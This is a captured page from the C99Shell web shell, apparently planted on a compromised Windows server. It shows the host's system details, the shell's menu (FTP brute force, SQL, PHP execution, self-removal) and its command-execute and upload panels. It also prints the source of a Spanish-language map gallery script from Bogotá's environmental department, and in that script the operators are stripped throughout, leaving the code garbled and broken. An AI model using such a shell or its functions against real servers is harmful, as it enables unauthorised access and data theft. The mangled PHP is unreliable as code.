!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\xampp\xampp\htdocs\phpold\   drwxrwxrwx
Free 8.81 GB of 239.26 GB (3.68%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     carto.php (8.86 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Cartograf&iacute;a B&aacute;sica del DAMA</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css">
<!--
input {
    font-family: Verdana, Arial, Helvetica, sans-serif;
    font-size: 10px;
    color: #666666;
    background-color: #E7F5FE;
    border: 1px solid #999999;
}
-->
</style>
<style type="text/css">
<!--
select {
    font-family: Verdana, Arial, Helvetica, sans-serif;
    font-size: 10px;
    color: #666666;
    background-color: #E7F5FE;
}
-->
</style>
</head>

<body text="#666666" link="#333333" vlink="#333333" alink="#333333" topmargin="0"><table width="100%" border="0" cellspacing="0" cellpadding="2"> 
<tr> 
    <td width="30%">&nbsp;</td>
    <td width="40%"><img src="Maps/ban.gif" width="650" height="150"></td>
    <td width="30%">&nbsp;</td>
  </tr>
  <tr>
    <td>&nbsp;</td>
    <td>
  <p>
    <?php
$dir    
'C:/Maps';
$dh  opendir($dir);
while (
false !== ($nombre_archivo readdir($dh))) {
    
$archivos[] = $nombre_archivo;
}
$u 0;
foreach (
$archivos as $v2) {
$cerros = isset($acc);
if (
$cerros == true and $acc == 1) {
$wild substr_count ($v2$find);
if (
$wild >= 1) { 
$pos strpos ($v2".jpg");
if (
$pos >= 1) { 
$u++;
}}

}else{
$pos strpos ($v2".jpg");
if (
$pos >= 1) { 
$u++;
}
}
}
//echo $u;
//echo "<br>";
$lines $u 3;
$linesa round($lines);
$linesb $lines $linesa;

$linesb $linesb;
if (
$linesb 1) {
$linesa $linesa 1;
$filasadd 2;
}
if (
$linesb 1) {
$filasadd 1;
}
if (
$linesb == 1) {
$filasadd 0;
}
//echo $linesa;
//echo "<br>";
//echo $filasadd;
//echo "<br>";
?>
  <table width="100%" border="0" cellpadding="4" cellspacing="0" bgcolor="#F2F2F2">
    <tr> 
    <td width="40%"><div align="center"><font size="1" face="Verdana, Arial, Helvetica, sans-serif">Mapas 
          Encontrados: <strong><?php echo $u?></strong></font></div></td>
    <td width="60%"> 
      <form name="form1" method="post" action="">
          <font size="1" face="Verdana, Arial, Helvetica, sans-serif"> Buscar: 
          <input name="find" type="text" id="find">
          Tama&ntilde;o 
          <select name="sz" id="sz">
            <option value="100">100 Pixeles</option>
            <option value="150">150 Pixeles</option>
            <option value="200">200 Pixeles</option>
            <option value="250">250 Pixeles </option>
          </select>
          <input type="submit" name="Submit" value="Buscar">
          <input name="acc" type="hidden" id="acc" value="1">
          </font> 
        </form></td>
  </tr>
    <tr bgcolor="#FFFFFF"> 
      <td width="40%"><font size="1" face="Verdana, Arial, Helvetica, sans-serif">Los 
        mapas aqui presentados est&aacute;n en formato de imagen JPG. No se presentan 
        mapas en formato de vectores, ni din&aacute;micos.</font></td>
      <td width="60%"><font size="1" face="Verdana, Arial, Helvetica, sans-serif">Este 
        sistema le permitir&aacute; ubicar mapas de acuerdo a su nombre, por tanto 
        los criterios de b&uacute;squeda no son ampliados, ni incluyen car&aacute;cteres 
        especiales.</font></td>
  </tr>
</table>
<?php
$conteo 
0;
$conteo1 0;
$opend 'c:\maps\tumbs';
@
$opend_result mkdir ($opend 0777);
foreach (
$archivos as $v) {

if (
$cerros == true and $acc == 1) {
$wild substr_count ($v$find);
if (
$wild >= 1) { 
$pos strpos ($v".jpg");
if (
$pos >= 1) { 
$v1 $dir "/" $v;
$size GetImageSize($v1); 
$an $size[0];
$la $size[1];
$an1 round($an);
$la1 round($la);

if (
$an $la) {
$la $la $sz;
$la $la $an;
$an $sz;
}
if (
$la $an) {
$an $an $sz;
$an $an $la;
$la $sz;
}
if (
$la == $an) {
$an $sz;
$la $sz;
}
$size2 filesize($v1);
$size2 $size2 1024;
$size2 round($size2);
echo 
$v1;
echo 
$v;

$copyfile $opend."/".$v;
$original_file =$v1;
copy($original_file $copyfile);
$dest "c:\maps\\recipiente.jpg";
$img_src=imagecreatefromjpeg($v1);
$img_dst=imagecreatetruecolor($an,$la);
imagecopyresampled($img_dst$img_src0000$an$la$an1$la1);
$dest $opend."/".$v;
imagejpeg($img_dst$dest100);
//imagedestroy($img_dst);

// Imprime el inicio de la tabla
if ($conteo == 0) {
?>
  </p>
  <table width="100%" border="1" cellspacing="0" cellpadding="4" bordercolor="#FFFFFF">
    <tr> 
      <?php
}
////////////////////////
// Calcula el limite siguiente
$pireo $conteo1 1;
$limite $pireo 3;
///////////////////////
// Incrementa el conteo
$conteo++;

if (
$conteo $limite) {
echo 
"<td width=\"33%\">";
echo 
"<div align=\"center\">";
}
if (
$conteo == $limite) {
echo 
"<td width=\"33%\">";
echo 
"<div align=\"center\">";
}
//////////////////////
$an round($an);
$la round($la);
?></p>
      <p><img src="b.gif" width="1" height="<?php echo $sz?>" border="0"><a href="../maps/<?php echo $v?>"><img src="<?php echo $dest?>" width="<?php echo $an?>" height="<?php echo $la?>" border="1"></a><br>
        <br>
        <font face="Verdana, Arial, Helvetica, sans-serif" size="1"><img src="pin.gif" width="10" height="10"> 
        <b><?php echo $v?>:</b><br>
        <b><?php echo $an1?></b> Pixeles x <b><?php echo $la1?></b> Pixeles<br>
        Peso: <font color="#CC6600"><?php echo $size2?> Kb </font><br>
        </font></p>
      <?php
imagedestroy
($img_src); 
imagedestroy($img_dst); 

/// limite si esta bien
if ($conteo $limite) {
echo 
"</div>";
echo 
"</td>";
}
/// limite si termina
if ($conteo == $limite) {
echo 
"</div>";
echo 
"</td>";
echo 
"</tr>";
$conteo1++;
/// Si aun quedan filas, sigua abriendo lineas
if ($conteo1 <= $linesa) {
echo 
"<tr>";
}else{
echo 
"<table>";
}
}
}
}
}else{
$pos strpos ($v".jpg");
if (
$pos >= 1) { 
$v1 $dir "/" $v;
$size GetImageSize($v1); 
$an $size[0];
$la $size[1];
$an1 round($an);
$la1 round($la);

if (
$an $la) {
$la $la $sz;
$la $la $an;
$an $sz;
}
if (
$la $an) {
$an $an $sz;
$an $an $la;
$la $sz;
}
if (
$la == $an) {
$an $sz;
$la $sz;
}
$size2 filesize($v1);
$size2 $size2 1024;
$size2 round($size2);

$copyfile $opend."/".$v;
$original_file =$v1;
copy($original_file $copyfile);
$dest "c:\maps\\recipiente.jpg";
$img_src=imagecreatefromjpeg($v1);
$img_dst=imagecreatetruecolor($an,$la);
imagecopyresampled($img_dst$img_src0000$an$la$an1$la1);
$dest $opend."/".$v;
imagejpeg($img_dst$dest100);
//imagedestroy($img_dst);

// Imprime el inicio de la tabla
if ($conteo == 0) {
?>
  </p>
  <table width="100%" border="1" cellspacing="0" cellpadding="4" bordercolor="#FFFFFF">
    <tr> 
      <?php
}
////////////////////////
// Calcula el limite siguiente
$pireo $conteo1 1;
$limite $pireo 3;
///////////////////////
// Incrementa el conteo
$conteo++;

if (
$conteo $limite) {
echo 
"<td width=\"33%\">";
echo 
"<div align=\"center\">";
}
if (
$conteo == $limite) {
echo 
"<td width=\"33%\">";
echo 
"<div align=\"center\">";
}
//////////////////////
$an round($an);
$la round($la);
?></p>
      <p><img src="b.gif" width="1" height="<?php echo $sz?>" border="0"><a href="../maps/<?php echo $v?>"><img src="<?php echo $dest?>" width="<?php echo $an?>" height="<?php echo $la?>" border="1"></a><br>
        <br>
        <font face="Verdana, Arial, Helvetica, sans-serif" size="1"><img src="pin.gif" width="10" height="10"> 
        <b><?php echo $v?>:</b><br>
        <b><?php echo $an1?></b> Pixeles x <b><?php echo $la1?></b> Pixeles<br>
        Peso: <font color="#CC6600"><?php echo $size2?> Kb </font><br>
        </font></p>
      <?php
imagedestroy
($img_src); 
imagedestroy($img_dst); 

/// limite si esta bien
if ($conteo $limite) {
echo 
"</div>";
echo 
"</td>";
}
/// limite si termina
if ($conteo == $limite) {
echo 
"</div>";
echo 
"</td>";
echo 
"</tr>";
$conteo1++;
/// Si aun quedan filas, sigua abriendo lineas
if ($conteo1 <= $linesa) {
echo 
"<tr>";
}else{
echo 
"<table>";
}
}
}
}







}


?>
      </td>
    <td>&nbsp;</td>
    </tr>
    <tr bgcolor="#CCCCCC"> 
      <td colspan="3"><font color="#CCCCCC">&nbsp;</font> 
        <div align="center"><font color="#CCCCCC"></font></div>
        <font color="#CCCCCC">&nbsp;</font></td>
    </tr>
    <tr> 
      <td width="30%">&nbsp;</td>
      <td width="40%"><div align="center"><font size="1" face="Verdana, Arial, Helvetica, sans-serif">Todos 
          los derechos reservados para el DAMA<br>
          Departamento T&eacute;cnico Administrativo del Medio Ambiente<br>
          Alcald&iacute;a Mayor de Bogot&aacute;, D.C.<br>
          Bogot&aacute; - Colombia<br>
          <strong>2003 - 2004</strong></font></div></td>
      <td width="30%">&nbsp;</td>
    </tr>
  </table>

</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--